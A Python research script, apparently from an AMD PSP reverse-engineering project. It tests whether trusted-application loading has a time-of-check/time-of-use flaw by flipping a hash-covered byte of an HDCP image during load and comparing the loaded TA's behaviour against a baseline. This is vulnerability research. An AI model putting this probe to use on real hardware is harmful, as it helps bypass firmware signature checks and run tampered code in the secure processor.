"""STEP 1: does a flip-success load DIFFERENT bytes than were verified?

Earlier oracles only inspected the load's *verdict* (status codes, dedup), which
cannot separate "verify and load both read A" from "verify read A, load read B".
This inspects the LOADED ARTIFACT instead: run the TA and compare its behaviour
against a pristine-load baseline.

  pristine load  -> invoke cmd -> baseline response R0   (many times: is it stable?)
  flipping load  -> invoke cmd -> response R
      R == R0  : loaded image behaved identically (consistent read, or the byte
                 does not affect this path)
      R != R0  : the TA that is RUNNING differs from the one that was VERIFIED
                 => verify-saw-A / load-saw-B  == TOCTOU

Controls:
  * baseline must be STABLE across repeats, else divergence proves nothing.
  * the flipped byte must be hash-covered (pinned-corrupt must fail to load).

Safety: a corrupted TA is a sandboxed PSP process; worst case it faults and we
unload it. No IP firmware is touched (unlike the SMU reload, which hung).
"""
import ctypes, struct, sys
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
from psp_out.toctou_bridge import Flipper

P = '/Users/user/dev/amd-psp-re/psp_out/'
SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
FLIP_OFF = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0x800


class Beh:
  def __init__(self):
    self.f = Flipper(); self.adev, self.psp = self.f.adev, self.f.psp
    self.f.select_method(0)
    self.hdcp = open(P + 'hdcp_full.bin', 'rb').read()
    self.sids = []

  def alloc(self, n):
    pa = self.adev.mm.palloc(n, align=0x1000, zero=True)
    return pa, self.adev.paddr2mc(pa)

  def stat(self):
    return int.from_bytes(bytes(self.adev.vram.view(self.psp.cmd_paddr, SZ)[:])[864:868], "little")

  def stage(self): self.psp._prep_msg1(memoryview(self.hdcp))

  def load(self):
    cp, cmc = self.alloc(0x8000)
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_hi, t.app_phy_addr_lo = hi32(self.psp.msg1_addr), lo32(self.psp.msg1_addr)
    t.app_len = len(self.hdcp)
    t.cmd_buf_phy_addr_hi, t.cmd_buf_phy_addr_lo = hi32(cmc), lo32(cmc); t.cmd_buf_len = 0x8000
    try:
      r = self.psp._ring_submit(c); sid = r.resp.session_id
      if sid: self.sids.append(sid)
      return self.stat(), sid, cp
    except Exception:
      return self.stat(), 0, cp

  def invoke(self, sid, shm, ta_cmd=0x01, payload=None):
    b = bytearray(0x8000)
    if payload: b[:len(payload)] = payload
    self.adev.vram.view(shm, 0x8000)[:] = bytes(b); self.adev.gmc.flush_hdp()
    self.adev.vram.view(self.psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
    ic = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv = ic.cmd.cmd_invoke_cmd
    iv.session_id, iv.ta_cmd_id = sid, ta_cmd
    try:
      self.psp._ring_submit(ic); ps = 0
    except RuntimeError: ps = self.stat()
    except TimeoutError: return ("TIMEOUT", None)
    out = bytes(self.adev.vram.view(shm, 0x40)[:])
    return ps, out

  def unload_all(self):
    for sid in self.sids:
      try:
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
        c.cmd.cmd_unload_ta.session_id = sid; self.psp._ring_submit(c)
      except Exception: pass
    self.sids = []

  def run_pristine(self):
    self.unload_all(); self.f.disarm(); self.stage()
    st, sid, shm = self.load()
    if st or not sid: return ("LOADFAIL", st), None
    return self.invoke(sid, shm), sid

  def run_flipping(self, off):
    self.unload_all(); self.stage()
    g = self.hdcp[off]
    self.f.arm(off, g, g ^ 0xFF)
    st, sid, shm = self.load()
    self.f.disarm()
    if st or not sid: return None, st
    return self.invoke(sid, shm), st


if __name__ == '__main__':
  b = Beh()
  print("flip offset %#x (genuine byte %#04x)\n" % (FLIP_OFF, b.hdcp[FLIP_OFF]))

  print("[baseline] pristine loads, invoke cmd 0x01:")
  base = []
  for i in range(3):
    r, sid = b.run_pristine()
    print("   run %d: sid=%s resp=%s" % (i, sid, (r[0], r[1][:16].hex() if r[1] else None)))
    base.append((r[0], r[1][:16] if r[1] else None))
  stable = all(x == base[0] for x in base)
  print("   baseline stable: %s" % stable)

  print("\n[control] byte pinned corrupt must FAIL to load:")
  b.unload_all(); b.stage(); b.f.poke(FLIP_OFF, b.hdcp[FLIP_OFF] ^ 0xFF)
  st, sid, _ = b.load()
  print("   status=%#x sid=%s -> hash-covered: %s" % (st, sid, st != 0))
  covered = st != 0

  if not (stable and covered):
    print("\nCONTROLS FAILED -> cannot interpret divergence. Stop.")
  else:
    print("\n[flip] loading with byte alternating; comparing behaviour:")
    div = 0
    for i in range(14):
      res, st = b.run_flipping(FLIP_OFF)
      if res is None:
        print("   %2d: load rejected (status=%#x)" % (i, st)); continue
      cur = (res[0], res[1][:16] if res[1] else None)
      same = (cur == base[0])
      print("   %2d: LOADED, resp=%s %s" % (i, (cur[0], cur[1].hex() if cur[1] else None),
                                            "same as baseline" if same else "*** DIVERGES ***"))
      if not same: div += 1
    print("\ndivergent loads: %d" % div)
    if div:
      print("*** The RUNNING TA differs from the VERIFIED image -> TOCTOU ***")
    else:
      print("no divergence: consistent with a single read (or byte off the executed path)")
  b.unload_all()